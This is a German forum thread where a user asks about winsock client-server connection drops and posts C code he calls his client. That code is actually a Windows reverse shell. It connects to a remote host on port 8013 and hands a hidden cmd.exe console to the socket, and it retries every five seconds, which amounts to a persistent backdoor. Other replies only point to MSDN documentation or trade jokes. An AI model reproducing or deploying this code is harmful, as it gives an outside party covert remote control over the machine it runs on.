winsock: Client-Server Kommunikationsprobleme



  • Hallo! Ich habe einen Client und Server geschrieben. Wenn der Client die Daten von server mit recv(SOCKET,char*,int,0) emfängt läuft das auch gut. Wie kann man das aber Realisieren, dass der Server auch Pausen machen kann ohne dem Clienten was zu schicken? Also mein Client empfängt nichts mehr wenn man eine halbe stunde Pause macht und danch was zu schicken versucht.



  • Also mein Client empfängt nichts mehr wenn man eine halbe stunde Pause macht und danch was zu schicken versucht.

    Das sollte nicht passieren. Auch wenn du eine Woche Pause machst sollte die Verbindung noch stehen und funktionieren. Es sei denn natürlich sie ist zusammengebrochen, was aber wiederum nicht ohne guten Grund passieren sollte.



  • Dieser Thread wurde von Moderator/in evilissimo aus dem Forum C++ in das Forum WinAPI verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.



  • Ja gut, wie stelle ich denn bei dem client fest, dass die verbindung unterbrochen wurde? Bei diesem code:

    WSADATA WSAData;
                    SOCKADDR_IN sin;
                    SOCKET sock;
                    WSAStartup( MAKEWORD( 2, 0 ), &WSAData );
    
                    sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
                    memset(&sin,0,sizeof(SOCKADDR_IN)); 
                    sin.sin_family=AF_INET;
                    sin.sin_port=htons(8013);
    
                    long rc=getAddrFromString(HOST,&sin);
                    if(rc==SOCKET_ERROR)
                    {
                            Sleep(5000);
                            continue;
                    }
    
                    STARTUPINFO si = { 0 };
                    PROCESS_INFORMATION pi = { 0 };
                    char buff[ 2010 ];
    
                    si.cb = sizeof( si );
                    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
                    si.wShowWindow = SW_HIDE;
                    si.hStdOutput = ( HANDLE )sock;
                    si.hStdError = ( HANDLE )sock;
                    si.hStdInput = ( HANDLE )sock;
    
                    connect(sock,(SOCKADDR*)&sin,sizeof(SOCKADDR));
    
                    GetEnvironmentVariable( "COMSPEC", buff, 2000 );
    
                    CreateProcess( buff,0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi );
                    WaitForSingleObject(pi.hProcess,INFINITE);
                    CloseHandle( pi.hProcess );
                    CloseHandle( pi.hThread );
                    closesocket( sock );
                    Sleep(5000);
                    WSACleanup();
    


  • doku lesen (MSDN)



  • hustbaer schrieb:

    doku lesen (MSDN)

    bla bla bla



  • haterskater schrieb:

    hustbaer schrieb:

    doku lesen (MSDN)

    bla bla bla

    fake mich ned man



  • real_hs schrieb:

    haterskater schrieb:

    hustbaer schrieb:

    doku lesen (MSDN)

    bla bla bla

    fake mich ned man

    hehe


Anmelden zum Antworten